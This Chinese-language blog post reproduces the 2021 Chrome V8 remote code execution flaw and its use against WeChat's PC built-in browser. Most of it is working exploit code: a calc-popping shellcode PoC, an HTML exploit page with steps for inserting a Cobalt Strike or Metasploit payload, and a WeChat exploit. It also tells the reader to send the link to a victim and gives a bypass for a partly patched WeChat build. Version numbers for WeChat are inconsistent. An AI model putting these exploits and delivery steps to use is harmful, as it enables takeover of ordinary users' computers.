微信-Chrome远程代码执行

前言

2021年04月13日,国外安全研究员发布了Chrome 远程代码执行 0Day的POC详情,后又爆出微信内置浏览器用的就是低版本Chrome内核,且默认关闭沙盒–no-sandbox,正好能够结合Chrome漏洞进行利用,这里借着这个时间来复现一下这个漏洞。

Chrome漏洞复现

国外安全研究员发布了Chrome远程代码执行0Day漏洞的POC详情,漏洞为“严重”级别。攻击者利用此漏洞,构造一个恶意的web页面,用户访问该页面时,会造成远程代码执行。

大量采用Chrome内核的浏览器同样也会受此漏洞影响,如微软的Edge浏览器,影响版本:Chrome: <=89.0.4389.114,可通过在Chrome浏览器中输入chrome://version查看版本等信息。

本地测试版本:89.0.4389.9,这个漏洞利用条件是必须关闭Chrome浏览器沙盒–no-sandbox,默认为开启状态,所以一般用户不会受此漏洞影响。

1
chrome.exe -no-sandbox

POC验证(弹计算器):https://github.com/r4j0x00/exploits/tree/master/chrome-0day

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

const _arr = new Uint32Array([2**31]);

function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;

x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);

x -= 1;
if(x==-1) x = 0;

var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];

return [arr, cor];
}

for(var i=0;i<0x3000;++i)
foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
arr[idx+1] = k;
return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
cor[0] = itof(k);
return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
return (fake[0]);
}

function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
let dataview = new DataView(buf2);
let buf_addr = addrof(buf2);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
copy_shellcode(rwx_page_addr, shellcode);
f();

上边的POC只是单纯验证弹出计算器,如果想要上线到CS/MSF得用下边这个EXP,在CS或MSF中生成一个64位的C Payload(C#则无需替换),然后将里边的shellcode(这里选择CS上线)提取出来并将其中的\替换为 ,0放到exploit2.html文件中即可。

  • CS监听端口(随自己选择)

  • 生成payload

  • 替换payload,将其中的\替换为 ,0

  • 取出替换后的shellcode,放入以下html的shellcode中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    <title>chrome test</title>
    <h1>test</h1>
    <script>
    function gc() {
    for (var i = 0; i < 0x80000; ++i) {
    var a = new ArrayBuffer();
    }
    }
    let shellcode = [];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(0, true));
    }
    function fHi(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
    bfView.setUint32(0, low, true);
    bfView.setUint32(4, hi, true);
    return bfView.getFloat64(0, true);
    }
    function f2big(f) {
    bfView.setFloat64(0, f, true);
    return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
    bfView.setBigUint64(0, b, true);
    return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
    constructor(size) {
    super(size);
    this.slot = 0xb33f;
    }
    }
    function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
    arr.shift();
    let local_arr = Array(2);
    local_arr[0] = 5.1;//4014666666666666
    let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
    arr[0] = 0x1122;
    return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
    foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);
    rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
    corrupt_buff.slot = o;
    return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    this.base = fLow(rwarr[baseIdx]);
    } else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
    corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
    </script>

  • -no-sandbox 参数 关闭沙箱,在chrome浏览器打开exploit2.html, CS 上线


    关闭该页面会话即断开,建议在上线后执行进程迁移。


微信CS上线复现

微信内置浏览器使用Chrome内核,且默认关闭沙盒–no-sandbox,所以可以直接利用Chrome远程代码执行漏洞,黑客只需要通过微信发送一个特制Web链接,用户一旦点击链接,微信PC Windows版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生。
可以访问一下链接来查看微信内置chrome浏览器的版本:

  • https://wuchendi.gitee.io/chrome/index.html

  • 微信的利用方式与Chrome差不多,就不再详细写具体步骤了,只需要将以下EXP中的第5行shellcode替换为我们CS或MSF生成的32位C# Payload即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [ ];

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}

function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}

function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;

this.page_buffer = null;
this.page_view = null;

this.prevent_opt = [];

var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;

class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}

this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });
cb(true);

class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);

// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}

// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}

class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}

return DerivedN;
})`);

gc();

new (derived_n(tDerivedNDepth))();

this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}

this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}

this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}

this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}

this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}

this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}

function trigger() {
var oob = oobAccess();

var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));

var kCodeInsOffset = 0x1b;

var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));

oob.setBytes(code_addr, shellcode);

target_function(0);
}

try{
print("start running");
trigger();
}catch(e){
print(e);
}

  • 然后通过微信将我们的恶意链接发给对方,等待他点击该链接后即可成功得到目标主机会话。

  • tips
    • 对于微信4.2.1.143版本,这是爆出漏洞后的第一次更新,临时关闭了微信内置浏览器,采取白名单方式进行验证,仅允许*.weixin.qq.com白名单域名通过内置浏览器打开,但是依旧没有开启沙盒,所以我们还可以通过公众号的阅读原文等方式来访问恶意链接上线CS/MSF。
    • 对于微信4.2.1.151版本,这是爆出漏洞后的第二次更新,基本上已经完全修复了这个漏洞,升级了微信版本、暂时不用wechatweb.exe做为内置浏览器(不过文件还在,说不定还会用)、删除禁用沙盒–no-sandbox参数等,目前在线升级只能到143,151需要通过官网下载。

修复建议

  • 升级Chrome浏览器为最新版本(90.0.4430.72)
  • 升级Windows微信为最新版本(3.2.1.151)